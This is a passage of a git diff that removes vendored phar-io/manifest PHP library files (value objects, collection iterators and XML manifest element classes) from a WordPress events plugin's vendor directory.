$email; - - public function __construct(string $name, ?Email $email = null) { - $this->name = $name; - $this->email = $email; - } - - public function asString(): string { - if (!$this->hasEmail()) { - return $this->name; - } - - return sprintf( - '%s <%s>', - $this->name, - $this->email->asString() - ); - } - - public function getName(): string { - return $this->name; - } - - /** - * @psalm-assert-if-true Email $this->email - */ - public function hasEmail(): bool { - return $this->email !== null; - } - - public function getEmail(): Email { - if (!$this->hasEmail()) { - throw new NoEmailAddressException(); - } - - return $this->email; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/AuthorCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/AuthorCollection.php deleted file mode 100644 index 549876da..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/AuthorCollection.php +++ /dev/null @@ -1,40 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use Countable; -use IteratorAggregate; -use function count; - -/** @template-implements IteratorAggregate */ -class AuthorCollection implements Countable, IteratorAggregate { - /** @var Author[] */ - private $authors = []; - - public function add(Author $author): void { - $this->authors[] = $author; - } - - /** - * @return Author[] - */ - public function getAuthors(): array { - return $this->authors; - } - - public function count(): int { - return count($this->authors); - } - - public function getIterator(): AuthorCollectionIterator { - return new AuthorCollectionIterator($this); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/AuthorCollectionIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/AuthorCollectionIterator.php deleted file mode 100644 index 36fee9f7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/AuthorCollectionIterator.php +++ /dev/null @@ -1,47 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use Iterator; -use function count; - -/** @template-implements Iterator */ -class AuthorCollectionIterator implements Iterator { - /** @var Author[] */ - private $authors; - - /** @var int */ - private $position = 0; - - public function __construct(AuthorCollection $authors) { - $this->authors = $authors->getAuthors(); - } - - public function rewind(): void { - $this->position = 0; - } - - public function valid(): bool { - return $this->position < count($this->authors); - } - - public function key(): int { - return $this->position; - } - - public function current(): Author { - return $this->authors[$this->position]; - } - - public function next(): void { - $this->position++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/BundledComponent.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/BundledComponent.php deleted file mode 100644 index 58170368..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/BundledComponent.php +++ /dev/null @@ -1,34 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use PharIo\Version\Version; - -class BundledComponent { - /** @var string */ - private $name; - - /** @var Version */ - private $version; - - public function __construct(string $name, Version $version) { - $this->name = $name; - $this->version = $version; - } - - public function getName(): string { - return $this->name; - } - - public function getVersion(): Version { - return $this->version; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/BundledComponentCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/BundledComponentCollection.php deleted file mode 100644 index 28aaa06c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/BundledComponentCollection.php +++ /dev/null @@ -1,40 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use Countable; -use IteratorAggregate; -use function count; - -/** @template-implements IteratorAggregate */ -class BundledComponentCollection implements Countable, IteratorAggregate { - /** @var BundledComponent[] */ - private $bundledComponents = []; - - public function add(BundledComponent $bundledComponent): void { - $this->bundledComponents[] = $bundledComponent; - } - - /** - * @return BundledComponent[] - */ - public function getBundledComponents(): array { - return $this->bundledComponents; - } - - public function count(): int { - return count($this->bundledComponents); - } - - public function getIterator(): BundledComponentCollectionIterator { - return new BundledComponentCollectionIterator($this); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/BundledComponentCollectionIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/BundledComponentCollectionIterator.php deleted file mode 100644 index 5c72817d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/BundledComponentCollectionIterator.php +++ /dev/null @@ -1,47 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use Iterator; -use function count; - -/** @template-implements Iterator */ -class BundledComponentCollectionIterator implements Iterator { - /** @var BundledComponent[] */ - private $bundledComponents; - - /** @var int */ - private $position = 0; - - public function __construct(BundledComponentCollection $bundledComponents) { - $this->bundledComponents = $bundledComponents->getBundledComponents(); - } - - public function rewind(): void { - $this->position = 0; - } - - public function valid(): bool { - return $this->position < count($this->bundledComponents); - } - - public function key(): int { - return $this->position; - } - - public function current(): BundledComponent { - return $this->bundledComponents[$this->position]; - } - - public function next(): void { - $this->position++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/CopyrightInformation.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/CopyrightInformation.php deleted file mode 100644 index b4468ed7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/CopyrightInformation.php +++ /dev/null @@ -1,32 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class CopyrightInformation { - /** @var AuthorCollection */ - private $authors; - - /** @var License */ - private $license; - - public function __construct(AuthorCollection $authors, License $license) { - $this->authors = $authors; - $this->license = $license; - } - - public function getAuthors(): AuthorCollection { - return $this->authors; - } - - public function getLicense(): License { - return $this->license; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Email.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Email.php deleted file mode 100644 index dbaff84a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Email.php +++ /dev/null @@ -1,35 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use const FILTER_VALIDATE_EMAIL; -use function filter_var; - -class Email { - /** @var string */ - private $email; - - public function __construct(string $email) { - $this->ensureEmailIsValid($email); - - $this->email = $email; - } - - public function asString(): string { - return $this->email; - } - - private function ensureEmailIsValid(string $url): void { - if (filter_var($url, FILTER_VALIDATE_EMAIL) === false) { - throw new InvalidEmailException; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Extension.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Extension.php deleted file mode 100644 index abcd2f89..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Extension.php +++ /dev/null @@ -1,47 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use PharIo\Version\Version; -use PharIo\Version\VersionConstraint; - -class Extension extends Type { - /** @var ApplicationName */ - private $application; - - /** @var VersionConstraint */ - private $versionConstraint; - - public function __construct(ApplicationName $application, VersionConstraint $versionConstraint) { - $this->application = $application; - $this->versionConstraint = $versionConstraint; - } - - public function getApplicationName(): ApplicationName { - return $this->application; - } - - public function getVersionConstraint(): VersionConstraint { - return $this->versionConstraint; - } - - public function isExtension(): bool { - return true; - } - - public function isExtensionFor(ApplicationName $name): bool { - return $this->application->isEqual($name); - } - - public function isCompatibleWith(ApplicationName $name, Version $version): bool { - return $this->isExtensionFor($name) && $this->versionConstraint->complies($version); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Library.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Library.php deleted file mode 100644 index 97c292dc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Library.php +++ /dev/null @@ -1,17 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class Library extends Type { - public function isLibrary(): bool { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/License.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/License.php deleted file mode 100644 index c2d94299..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/License.php +++ /dev/null @@ -1,32 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class License { - /** @var string */ - private $name; - - /** @var Url */ - private $url; - - public function __construct(string $name, Url $url) { - $this->name = $name; - $this->url = $url; - } - - public function getName(): string { - return $this->name; - } - - public function getUrl(): Url { - return $this->url; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Manifest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Manifest.php deleted file mode 100644 index 36466820..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Manifest.php +++ /dev/null @@ -1,93 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use PharIo\Version\Version; - -class Manifest { - /** @var ApplicationName */ - private $name; - - /** @var Version */ - private $version; - - /** @var Type */ - private $type; - - /** @var CopyrightInformation */ - private $copyrightInformation; - - /** @var RequirementCollection */ - private $requirements; - - /** @var BundledComponentCollection */ - private $bundledComponents; - - public function __construct(ApplicationName $name, Version $version, Type $type, CopyrightInformation $copyrightInformation, RequirementCollection $requirements, BundledComponentCollection $bundledComponents) { - $this->name = $name; - $this->version = $version; - $this->type = $type; - $this->copyrightInformation = $copyrightInformation; - $this->requirements = $requirements; - $this->bundledComponents = $bundledComponents; - } - - public function getName(): ApplicationName { - return $this->name; - } - - public function getVersion(): Version { - return $this->version; - } - - public function getType(): Type { - return $this->type; - } - - public function getCopyrightInformation(): CopyrightInformation { - return $this->copyrightInformation; - } - - public function getRequirements(): RequirementCollection { - return $this->requirements; - } - - public function getBundledComponents(): BundledComponentCollection { - return $this->bundledComponents; - } - - public function isApplication(): bool { - return $this->type->isApplication(); - } - - public function isLibrary(): bool { - return $this->type->isLibrary(); - } - - public function isExtension(): bool { - return $this->type->isExtension(); - } - - public function isExtensionFor(ApplicationName $application, ?Version $version = null): bool { - if (!$this->isExtension()) { - return false; - } - - /** @var Extension $type */ - $type = $this->type; - - if ($version !== null) { - return $type->isCompatibleWith($application, $version); - } - - return $type->isExtensionFor($application); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/PhpExtensionRequirement.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/PhpExtensionRequirement.php deleted file mode 100644 index f81bd259..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/PhpExtensionRequirement.php +++ /dev/null @@ -1,24 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class PhpExtensionRequirement implements Requirement { - /** @var string */ - private $extension; - - public function __construct(string $extension) { - $this->extension = $extension; - } - - public function asString(): string { - return $this->extension; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/PhpVersionRequirement.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/PhpVersionRequirement.php deleted file mode 100644 index fb30c3b8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/PhpVersionRequirement.php +++ /dev/null @@ -1,26 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use PharIo\Version\VersionConstraint; - -class PhpVersionRequirement implements Requirement { - /** @var VersionConstraint */ - private $versionConstraint; - - public function __construct(VersionConstraint $versionConstraint) { - $this->versionConstraint = $versionConstraint; - } - - public function getVersionConstraint(): VersionConstraint { - return $this->versionConstraint; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Requirement.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Requirement.php deleted file mode 100644 index d4b46401..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Requirement.php +++ /dev/null @@ -1,14 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -interface Requirement { -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/RequirementCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/RequirementCollection.php deleted file mode 100644 index e4fe2a11..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/RequirementCollection.php +++ /dev/null @@ -1,40 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use Countable; -use IteratorAggregate; -use function count; - -/** @template-implements IteratorAggregate */ -class RequirementCollection implements Countable, IteratorAggregate { - /** @var Requirement[] */ - private $requirements = []; - - public function add(Requirement $requirement): void { - $this->requirements[] = $requirement; - } - - /** - * @return Requirement[] - */ - public function getRequirements(): array { - return $this->requirements; - } - - public function count(): int { - return count($this->requirements); - } - - public function getIterator(): RequirementCollectionIterator { - return new RequirementCollectionIterator($this); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/RequirementCollectionIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/RequirementCollectionIterator.php deleted file mode 100644 index a587468c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/RequirementCollectionIterator.php +++ /dev/null @@ -1,47 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use Iterator; -use function count; - -/** @template-implements Iterator */ -class RequirementCollectionIterator implements Iterator { - /** @var Requirement[] */ - private $requirements; - - /** @var int */ - private $position = 0; - - public function __construct(RequirementCollection $requirements) { - $this->requirements = $requirements->getRequirements(); - } - - public function rewind(): void { - $this->position = 0; - } - - public function valid(): bool { - return $this->position < count($this->requirements); - } - - public function key(): int { - return $this->position; - } - - public function current(): Requirement { - return $this->requirements[$this->position]; - } - - public function next(): void { - $this->position++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Type.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Type.php deleted file mode 100644 index 231e7fd9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Type.php +++ /dev/null @@ -1,42 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use PharIo\Version\VersionConstraint; - -abstract class Type { - public static function application(): Application { - return new Application; - } - - public static function library(): Library { - return new Library; - } - - public static function extension(ApplicationName $application, VersionConstraint $versionConstraint): Extension { - return new Extension($application, $versionConstraint); - } - - /** @psalm-assert-if-true Application $this */ - public function isApplication(): bool { - return false; - } - - /** @psalm-assert-if-true Library $this */ - public function isLibrary(): bool { - return false; - } - - /** @psalm-assert-if-true Extension $this */ - public function isExtension(): bool { - return false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Url.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Url.php deleted file mode 100644 index 98061554..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Url.php +++ /dev/null @@ -1,38 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use const FILTER_VALIDATE_URL; -use function filter_var; - -class Url { - /** @var string */ - private $url; - - public function __construct(string $url) { - $this->ensureUrlIsValid($url); - - $this->url = $url; - } - - public function asString(): string { - return $this->url; - } - - /** - * @throws InvalidUrlException - */ - private function ensureUrlIsValid(string $url): void { - if (filter_var($url, FILTER_VALIDATE_URL) === false) { - throw new InvalidUrlException; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/AuthorElement.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/AuthorElement.php deleted file mode 100644 index b33eb3ca..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/AuthorElement.php +++ /dev/null @@ -1,25 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class AuthorElement extends ManifestElement { - public function getName(): string { - return $this->getAttributeValue('name'); - } - - public function getEmail(): string { - return $this->getAttributeValue('email'); - } - - public function hasEMail(): bool { - return $this->hasAttribute('email'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/AuthorElementCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/AuthorElementCollection.php deleted file mode 100644 index 0a2a2a38..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/AuthorElementCollection.php +++ /dev/null @@ -1,19 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class AuthorElementCollection extends ElementCollection { - public function current(): AuthorElement { - return new AuthorElement( - $this->getCurrentElement() - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/BundlesElement.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/BundlesElement.php deleted file mode 100644 index ef721a66..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/BundlesElement.php +++ /dev/null @@ -1,19 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class BundlesElement extends ManifestElement { - public function getComponentElements(): ComponentElementCollection { - return new ComponentElementCollection( - $this->getChildrenByName('component') - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ComponentElement.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ComponentElement.php deleted file mode 100644 index 84373c47..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ComponentElement.php +++ /dev/null @@ -1,21 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class ComponentElement extends ManifestElement { - public function getName(): string { - return $this->getAttributeValue('name'); - } - - public function getVersion(): string { - return $this->getAttributeValue('version'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ComponentElementCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ComponentElementCollection.php deleted file mode 100644 index cd9ad5dd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ComponentElementCollection.php +++ /dev/null @@ -1,19 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class ComponentElementCollection extends ElementCollection { - public function current(): ComponentElement { - return new ComponentElement( - $this->getCurrentElement() - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ContainsElement.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ContainsElement.php deleted file mode 100644 index 55a9c605..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ContainsElement.php +++ /dev/null @@ -1,31 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class ContainsElement extends ManifestElement { - public function getName(): string { - return $this->getAttributeValue('name'); - } - - public function getVersion(): string { - return $this->getAttributeValue('version'); - } - - public function getType(): string { - return $this->getAttributeValue('type'); - } - - public function getExtensionElement(): ExtensionElement { - return new ExtensionElement( - $this->getChildByName('extension') - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/CopyrightElement.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/CopyrightElement.php deleted file mode 100644 index c11415a5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/CopyrightElement.php +++ /dev/null @@ -1,25 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class CopyrightElement extends ManifestElement { - public function getAuthorElements(): AuthorElementCollection { - return new AuthorElementCollection( - $this->getChildrenByName('author') - ); - } - - public function getLicenseElement(): LicenseElement { - return new LicenseElement( - $this->getChildByName('license') - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ElementCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ElementCollection.php deleted file mode 100644 index 9e1de569..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ElementCollection.php +++ /dev/null @@ -1,68 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use DOMElement; -use DOMNodeList; -use Iterator; -use ReturnTypeWillChange; -use function count; -use function get_class; -use function sprintf; - -/** @template-implements Iterator */ -abstract class ElementCollection implements Iterator { - /** @var DOMElement[] */ - private $nodes = []; - - /** @var int */ - private $position; - - public function __construct(DOMNodeList $nodeList) { - $this->position = 0; - $this->importNodes($nodeList); - } - - #[ReturnTypeWillChange] - abstract public function current(); - - public function next(): void { - $this->position++; - } - - public function key(): int { - return $this->position; - } - - public function valid(): bool { - return $this->position < count($this->nodes); - } - - public function rewind(): void { - $this->position = 0; - } - - protected function getCurrentElement(): DOMElement { - return $this->nodes[$this->position]; - } - - private function importNodes(DOMNodeList $nodeList): void { - foreach ($nodeList as $node) { - if (!$node instanceof DOMElement) { - throw new ElementCollectionException( - sprintf('\DOMElement expected, got \%s', get_class($node)) - ); - } - - $this->nodes[] = $node; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ExtElement.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ExtElement.php deleted file mode 100644 index 6a88a05d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ExtElement.php +++ /dev/null @@ -1,17 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class ExtElement extends ManifestElement { - public function getName(): string { - return $this->getAttributeValue('name'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ExtElementCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ExtElementCollection.php deleted file mode 100644 index 3eec9463..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ExtElementCollection.php +++ /dev/null @@ -1,19 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class ExtElementCollection extends ElementCollection { - public function current(): ExtElement { - return new ExtElement( - $this->getCurrentElement() - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ExtensionElement.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ExtensionElement.php deleted file mode 100644 index 22016a01..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ExtensionElement.php +++ /dev/null @@ -1,21 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class ExtensionElement extends ManifestElement { - public function getFor(): string { - return $this->getAttributeValue('for'); - } - - public function getCompatible(): string { - return $this->getAttributeValue('compatible'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/LicenseElement.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/LicenseElement.php deleted file mode 100644 index d9f4cb26..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/LicenseElement.php +++ /dev/null @@ -1,21 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class LicenseElement extends ManifestElement { - public function getType(): string { - return $this->getAttributeValue('type'); - } - - public function getUrl(): string { - return $this->getAttributeValue('url'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ManifestDocument.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ManifestDocument.php deleted file mode 100644 index 87458686..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ManifestDocument.php +++ /dev/null @@ -1,115 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use DOMDocument; -use DOMElement; -use Throwable; -use function count; -use function file_get_contents; -use function is_file; -use function libxml_clear_errors; -use function libxml_get_errors; -use function libxml_use_internal_errors; -use function sprintf; - -class ManifestDocument { - public const XMLNS = 'https://phar.io/xml/manifest/1.0'; - - /** @var DOMDocument */ - private $dom; - - public 